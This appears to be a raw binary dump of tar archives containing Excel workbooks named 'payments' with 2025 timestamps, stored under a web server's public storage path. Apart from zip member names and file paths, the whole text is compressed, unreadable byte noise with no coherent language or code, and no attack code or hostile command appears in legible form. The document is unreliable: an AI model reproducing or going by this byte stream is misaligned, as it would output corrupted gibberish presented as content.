�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPKq?�Z5T7�bxl/sharedStrings.xmlSV�T�N�@���Ytg옆Gj�EQ%��XɔX��3AeT�E���
h�#E-n-B�_����;�!�ج*[���{Μ����-�
� �.��Z�0ތZ_s�ϟ�EJ��y��D��t�	���8BH�P.\ږ��0M�l���Q�q�|��Зx��Lэ��m�d�1m˚7C?��x��c��.���s��0��:��S�}��;�d�<�����g?? 5cިi��)��A���gi�
CC��0�D����[�E�\��m$BEx�)o���*8�C�F�R�y_�m{�t����ɶ�a�+{�y�h���*�_�˰S��$�V��=�6�~�u����'�Wo��;Q�Q~Z`F��[5�ǩ�nJ��Ċa������X�ےA=C�?Uև���i���ĭ�,�`�#�q�<�Ȟ҅�jd_�.%0������^�EY�(�S��Q=h� o��'�e/L�Ix�PKq?�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PKq?�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PKq?�Z@5W;��xl/worksheets/sheet1.xmlSV�W�r�8}߯�x0�lOM.N2�TRIv�Ya����K��u�M%Ƀ#u���O��f��P�3Nh5wo�:�JiF����y�m�:\�*C���}����k���o0Ly�RP�s�vؕŠ�ݍ��y��%��q���	����a
�RY��`��%"�A���`�<')���ĕ� H@L|Cjޠ��e�!�����i��
^IRF9ͅ��Ҹ�6ʉ?��y(?�)>AS�~$���m�
�j�fE
"^����f]Q�V��B�$z��0i1S���������nEA*�-���3\н�5�G��)�3�,f�T˚u���`z�He��{n��VO�������Ż��E*o@E�7t�Hv�@�
��Z�H�紸���h�kTa��Ts7r���P����ܽ�]�����ggE���
H*���?�R�+eH��(mzB���N��5�h�C�i��b�"9*i��
wKU;���h[���tDDk�w�w�x�ite@���F)-��uJ��*�=��f�c/�{+��R��3�n9��[ۘ��WY�
��`�Co2}0��0n�co4���ab�#`셣�x���1�'_��0��q�e�������(�2^00�r��4� �2h!co�}]�@-f��xn�>x�cLy{�Rz&��.�
8Hw�p8�wȘ\h��6IZ��=���*����{�k��m���&�R�(F���I7~D6z�E?�(��w��W��J,�`�5����r�Q��ʫ�2�*�;�]7e��e/߷ex��4�v�=�le/����>ñaX*'��z����K[�����r�q�Gnl�/��������:�6��i�Z��Y����z�C8:�ӣI���
f��C����q��CbbH��IL�!19��[��
�T=�i���f���j������Q���l%O��a�"�ƿ[XS@sw�w;�=�CW�F�!VmN3ۨM����)����F���'�G��e>�w��5M�+E�Z���D<Ӷ�1s��T�3�oF���W��1%��,�#NF�3��>�.w�jyhK¸h�ʅ�DlࣦymPA֕���z�,��)���P������5�'r�.�'�t�]ҙ�I��;�	X̄��x@Lp'��J4�f���PKq?�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PKq?�ZG�D�Z� [Content_Types].xmlPKq?�Z�78�K �_rels/.relsPKq?�Z�$�V�� �xl/_rels/workbook.xml.relsPKq?�Zad���E �docProps/app.xmlPKq?�Z.��s �docProps/core.xmlPKq?�Zs�{Y�� (xl/theme/theme1.xmlPKq?�Z5T7�b 
xl/sharedStrings.xmlPKq?�Z�A	�
 5xl/styles.xmlPKq?�Z�U���v mxl/workbook.xmlPKq?�Z@5W;�� �xl/worksheets/sheet1.xmlPKq?�Z�KR"x�# ixl/worksheets/_rels/sheet1.xml.relsPK�&PK!o((,5dkj3p/payments 2025-07-18 12-09-53.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-18 12-09-53.xlsx000075500000020750000000000000020157 0ustar00PK:a�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK:a�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK:a�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK:a�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK:a�Z�4>_sdocProps/core.xmlSV���N�0��<E�+J�*?Q$@=Q	�"�{iM۲Ҽ=�Ӧ-p�Mf�yw��f[W�8����l�HZ��jF����$���2f�OnʳB�\��Xp��'�}.쌬mN�k�����q5� ݊Z.6|t������iL�@$;��~�*��PA
=�F=d\�<��d����gto�WC�i�Q3��0F_Oq�T�*�,�ȅ�ƕ�z�M���^���z���Eh�]��m�G�ݚ=d��e�����~9'嘍�)�L��e6��u>��3�3֍q9P��M���)�TXAX-~e�dÝү0���]P�NYϱ��ɏ������A��6�6�I_���{�a��qmo�P'���PK:a�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK:a�Z灮k,xl/sharedStrings.xmlSV�W�NA��SL��W]wvY-�E�&�o��VIdAv1�b�M4!�&mL[��M��u�����+�IzWf��P
e��9���7d���ɦUq
%;��sT!��\Z)ثY������+���me�w��,�e�%p������EMs�׬bޙ+�-Oޔ*ż���U�)W����fYnq]3(�׊�����]بZ�JU��*iS�e�B.��X��1���`׼NX���9k�6��%k�]��	�.^��F��>e?��k,`g����m�N�
���L3���h"U?�	��c��'��E��_F��*���#���8RԤ�P��
/�H�4�Ɉ�v�$5֜����z:2�C��Z���t�����r��5�9Czp�E �H�$r�|�ӻ��iU��Ѥi�	.���(����*WR�F��a���?�a�*5�0�bX�)b��&A��wb6�-���3����J�!tѐ�U]f�4����gX��n=��Cffx!���^C�&�$3<',�Ib
��јz�l�Cjr��N�d�6�&d��פ��OTb}��F�r���SR���f�tg�8�d�	1�xP6R„ʞ7�-�t��9�16�1�5�^���1��6?�2�I�OXgg����?T[�	Fm,��}�����^�Ѯ�����}(����`aK0G��<W'��̻�aԁ��l�#���s�1�)n6��?����̣�av�
ʯ��ȻO��n� BA��C]�Y�2z�|�{�\r�,$P~�`"�DD~��;L0t�X�~����m�*-��k�7x]
��.�s+��c`��f(K\Dä���?%�_��OvE�p��G�.�gQɈ��h&�ƂP
?�r�PK:a�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK:a�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK:a�Zl��t��-xl/worksheets/sheet1.xmlSV��[w�8��Sp�>�U�s����I'���}�{w�	�cNc��|�;�T<ٗĨ�*�G!�����͝'Y�YY\L�t>qd����x������o�ĩUR���,���U֓�/�u�\V�ꍔ����]�j㮒����i,��F���lV��M�i������j�(}X=�j퓬�H�|�y0�&Y�G8�N�Q��Y*e���BuA*�'J���d���euR�U�<���ctq�Y��g��fiU��ZM�r�w�e<��8_���/���MO�6�~�w��p;��!�3��ƚ8���(��!��Q�+I�A&v�Ӈ�#]��m�*g��JV�+�E�r���Rﷺ�W2/�ۡ�{��QM���|և�<_e�R75�Tr}1�$�p��)����sm�vT��C�2Ur��n���,5�{ݤ��ޔϟ�l�EwGW����k�^>_�����K�^�B:/?v��ě8�o?U��"��Z���Ɵ8I��'�-in��R�rێ����n[W�߲h���Ӯ=[��N�u��L��>Oׁ�C��[f���H�}�wۖ��<+�N���0�dE��o��'�o���itM�N��y�u���j\]t�K��9[���ći��A���]�t_�՝�_�ڔ�!l��zǀ����
��c@7��s��=���[@
�LJ�÷!ϧ����b
��q0>��,�}��ǡ��4�����R�Ub4�<����u�=(�\�W峣�8���7f3y��f�H�֫����t�Z�>]���	ԟ��N��S��)3����������)�yJ@�ѝ�F�ם·{�
��gwq�+��oȑ^۫�<E�Sn��oMcc�gd���Cl�GFBr���J����0a��Y"�i$�6m�4�'��|N�ޘ�@|oM� �Ϧ�'��/�{��G��A�~{k��a�f!$�i$7�5r$][�"p� �$a��`0ԺD�Ad���a�����e�05m>��Eh0�,�!�4�"Or[߅Ӱm%�!�E��F�L#��%ܮL� �µi�ɜ����5�FԈ��#j4TK��RE�F���Tcn�9���'U��
�`Ϡ1�5�"#�3X㮣k�a�O��,Ȇ�6�o}!i���>���'��6!�p‰)[d��b+��#��H��0r��(q��!l� !��G�4����&4S���KW�j,`��E�DN`a���0�nHq��4�t-/���,<�X���':-���l���0������p�lu�|u�lu�,N����r8��K�d�tO��G��0U���մ�E2�t�*�w&X�-X�%lZ]�f$��.qBJ�4�,aň�H�Х�Z���.c�W�
yS
*8�$z�D��ɂ��g#�I �d=��>G��݃0���
rv-H���n���{5����#BI�!A�֓$䑄,NȈppY"'Ih#�.�\�{�M�R$�H���G�H8":""�$�n%�Y1r+�H�jl��L�kM8�;N�P����֌�).�8!%��#S:��@�{�(AVJ]�(�wD	��XQ�3S�����NB'$��Q#��8��d�#W�8�a�,�XU�3[�9U�*�JpBJX�R�#:�N��"l
�;���aV�`_��
8��P*TpBJN!<"]I�FY-�ȕ���}�0�]��.�j�N��;xI�8!%|�v��h�o�Üv���e&��]��.�j�٪aN�@�	�j��8FxD�R	t
�x��֗I�m�B�~������S>�u	��ƱibD���4�}9®�4�S���'�~=��p�	Z�=`���
	Ft�)�,��(�j�������ٚ$�OI�J_!�� �Y��i0�o�*$e���M	[�Kz�x�K�����aN�A4��X�q	[��h:@�P(�+a�hUp���Ow��2�WK�dUal�	pG$�;g���s�CSL���A�b�b�s9��'�˸�˩'d��23�%{U޶�"����Y�gaWe���k7�:�o;�I^��[����H�S�(�L��L��r�-��n�^�[���W����'x8ڴ[�#��[��:�qu����%;Y��n7p:e��B�;m/&�A}Ҥ��������q�`��҇M�U�wU>?7���$�&gן۶#�*[�e�s}]�n�dq�p4�fU���m���fQ���ZI�=M[O�o�</W�n��4�o����5~K��x�y�>:��kGt���	��\5{s�%����������PK:a�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK:a�ZG�D�Z� [Content_Types].xmlPK:a�Z�78�K �_rels/.relsPK:a�Z�$�V�� �xl/_rels/workbook.xml.relsPK:a�Zad���E �docProps/app.xmlPK:a�Z�4>_s �docProps/core.xmlPK:a�Zs�{Y�� (xl/theme/theme1.xmlPK:a�Z灮k, 
xl/sharedStrings.xmlPK:a�Z�A	�
 �xl/styles.xmlPK:a�Z�U���v �xl/workbook.xmlPK:a�Zl��t��- xl/worksheets/sheet1.xmlPK:a�Z�KR"x�# Dxl/worksheets/_rels/sheet1.xml.relsPK�PK!EO��&&,5dkj3p/payments 2025-07-16 14-04-06.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-16 14-04-06.xlsx000075500000017571000000000000020157 0ustar00PK�p�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�p�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�p�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�p�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�p�Z��rdocProps/core.xmlSV��QK�0��%��%�:�t���@p��1�nqm��]��i�u��M(��s���C��M]%��2zJ�#	ha���)yY<�7$�ȵ��0%-xr[����8xrƂC>	 �sa�d�hsJ�XA�($t0?��9��r��K�c�&��#�0��l�RH����B5h�4et�Ep�?�Ct~%k����ѝ9�7^
��iF�E���3�6|���JwU	 e!E.p4�|�km��z]�_^�c�=�C�
�]{?��5{�$�����׋�⁔c6�J�u�M�e��39g,g�����ۓ���Qb����Z|��ن3�_`�����/���c��A���O؛���m������UwS�~K����nq�PK�p�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�p�Z��f��xl/sharedStrings.xmlSV�V�N�@��)V>�Tc;qB��9���{����!vP{��B%���V�-�{�pq!q^a��$�6��e�QY��x�f���uq�mu���u��:%Ř�f;��R�Y.)�_�P
�T^u����=e�zT�<����Jʊ���5�[\��eoƭ���q�ղ������vy�[�m���et=�U�Ga
��ְ��
�/)yS��^�*�u���蜮x�Q�7茺ԧ�.�˷�2�&.�x��O���I�b�.�G���j裵Eͷ����;~H�n=9�{��"RG�]_��I�w
d.kɡ��ۖ���M=�S�YU7"�h�ԕ�32t;
��IБ!��N��2�'g�U�,��
K�x��L	�c��q�#�
��/�ס7*�yo)�B!-¸��)��{()�)���.�� �f��G2�_���9����ߢ׀~ɣ�1YHS�i��
Ƕ��B9Ɵ�3-�L>�nZf�\���M��n�-}X�(�>��b$z���N����n��&�L��Q��]'5�[��yɷ�3ȪY���Z�@"�P�}�)5�t��ML�^@�
�0���m9F�o'J�H�
��I�K�����%hy?�Y]��~�s�iO�R�c&�l���������C��2��Š!e$�䍬��>6f觼7�|.�}:#�p�`����Vb��.:�
?莺�!��t���pɻ�Wx]�.�	�N|3k�3,3�B�qQ�}�3��g�����DN�p�#:�OQ��	/Zm�FQA���PK�p�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�p�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�p�Z�%���xl/worksheets/sheet1.xmlSV��]w�8��Wp��m�M��&�������n�	�6�� �I�Jۚk�ٛ4�W�G#YBӏ/��z�u��rf��Ķh��,/�3����m5<)��`%�ٯ��?���Y���P�-!p�TI*�UMZ?S[����p^]��M��ۤ���²b�6��^��dJi[���$o���.�h��*O邥�--y+R�"�O�&����K�&��N����x���G���6Okְ�lۅ��e<�A?_�o�/)��M�үmR��U�\%�<�E�_��mmӋ�u����(���Z'���ۻ)��SU���Vy�i��e�"�َyI���mE|���`{i;|��.��鸓�O�\��Y������\ܓHVQ5���ў-�<=҂��fJ[f�c���V��o6l��γ/"����Ѷ�;�_��FtL̒6�*)���X	�3۳���#g���W�(f��o[I��g�-���qζ�GjVqQ���oZ��U��O��-�ڪ�VI�t�ڵ��� r:���-Z`�#%��@o��GOFWɮ��
�F���v��>���	,�d�h(eE��Z�\,5�H��E�����l��Qh[O��K���t׈�l�t��_e�d[A���E�� �w��QЍF��w�A'������a'��<yN�n���N�d�n��������ɤӓ��Q�Ir�$�L�F��W�q���E“��f{K��8����r� r�He�,V��h����`2?K��ʢ���U�c���?����*G ������WqPmOc⺣�p�`�<Mۏ���nD�^�婠�J�\����C�g`��]h�Fԡ;`Dq�g�Ä�q1a݈lW��Cƅ��F2����"FK�H��}֍��O�[��CTu�����:�`��H
�dBQ�@C�&��� he�M` �ށ�AД?���0�PwE��
L�#�a�Pc��&���)h�	
Lö1�440j�0�h�i�G�t/u��r�
x�_�H���F&��	jd��j�Ɖ�D�DS���Ʀ46Q��7*֨:�46a�MXAH(ޛ؀5�ow�	k��r?6�U����Bu	�=����P-~��7��=�0.�Z_alB��F�g�Ad�o!]3֭����m�jPC�	�Ύ�	#ab$LL�I+�w�	o�����w�.^a�����%�8p5�8ugc���c��p:�$��N��s���'o����k�y���t���y_������J��t�-�[�3�+�P���
L��2��5�3��gD�!Fl8ޒ�$J��Jb��!|�|E�q�DŽ}a��a���	oS2���?��Ĕ��\�9Bp��`J���rW�)��(������t"N��Q`Z����w�DB#��DD7�}%	�@B�Q�����8���} gN/Dߣ����i����yD&�S�W�;�ԛD��k��gKu#�]c�����K�P�,k}��X%EC�S�#�ݗH锬�פ^�§�+a��İ���z��Y���7luGpxۨ�
�&~�V���K�+�UV�T�~�����9-��e�����4�_Dů��v�/�޻��U
?Ԫ݌��Z><�Z��ƳT�XY�Z�Z���e�ϴ<r8�y��c�
�g�7�>�&E�.eYG�+�OY��w;bh�g�ض���h�X]��G�e%C;��7�rt�o:����{�oI�+e���8oa�PK�p�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�p�ZG�D�Z� [Content_Types].xmlPK�p�Z�78�K �_rels/.relsPK�p�Z�$�V�� �xl/_rels/workbook.xml.relsPK�p�Zad���E �docProps/app.xmlPK�p�Z��r �docProps/core.xmlPK�p�Zs�{Y�� 'xl/theme/theme1.xmlPK�p�Z��f�� 
xl/sharedStrings.xmlPK�p�Z�A	�
 jxl/styles.xmlPK�p�Z�U���v �xl/workbook.xmlPK�p�Z�%��� �xl/worksheets/sheet1.xmlPK�p�Z�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK��PK!��x���45dkj3p/payments 2025-05-28 15-23-40.xlsx.xlsx.tar.gznu�[�����YgPTٶnrhrP��S�%� MV�B7�irI�dir� m��3�	���D�$4��cf��+޹�׫W�Ǭ���ԮZ�9����^�;��|^^^|6�|�{>7w�������3�����-��������ݍ^�_������x��y�ܼ���M��y~~�H������(=����17w��G�_<��5���ll�7�c�"��GH����5��}����x���ʤ�{�DJH�5�,�,6h7���SG�Q
[�A���	OI��Mv�T:h�v��z�n�
�f��y뚒Gl��{v~�������}�#?<�F*�yKR\��ͯ�]T��P��?T(2j_#�M��H�3f����j�� �-��r�Y�li�7ؙdR�ܻ����q�$�nP3=��3IQϫ�4Kd�w���HB�b���e3�[go%Hu�LK��K��	"_t��(�Qr���׭��R(���{�n�Q9Ez>}���M�F�b�����HDn,6u��Dv=����s��ڱ��<��Do��X�}OJ�2��oW�S���K�N{��ӝ�@�C��tܮۺ&I^����������w�#v�xA{~��~��O������"��>G0��j�	���
�i�;.�X;7���{Ɉ��w5���/1��o�̷Kߣ�Hx@�*\He�ȫٚ��s���K<�T�Ř��HK��K[fͤC���A�)A�����0L}`��1�'�����&��­�B��#͚�Q}�}�O&l�.�&,���a�7�`�#����E>,8}C֊�0jD��.�H?��	��j,���Z��d=�����Ͻ�0�W��E��:*T�Q�v�#0^0W{K��4�)H��A"Rܻ�}�4�4V�Hp�65A����i:�و:^ 
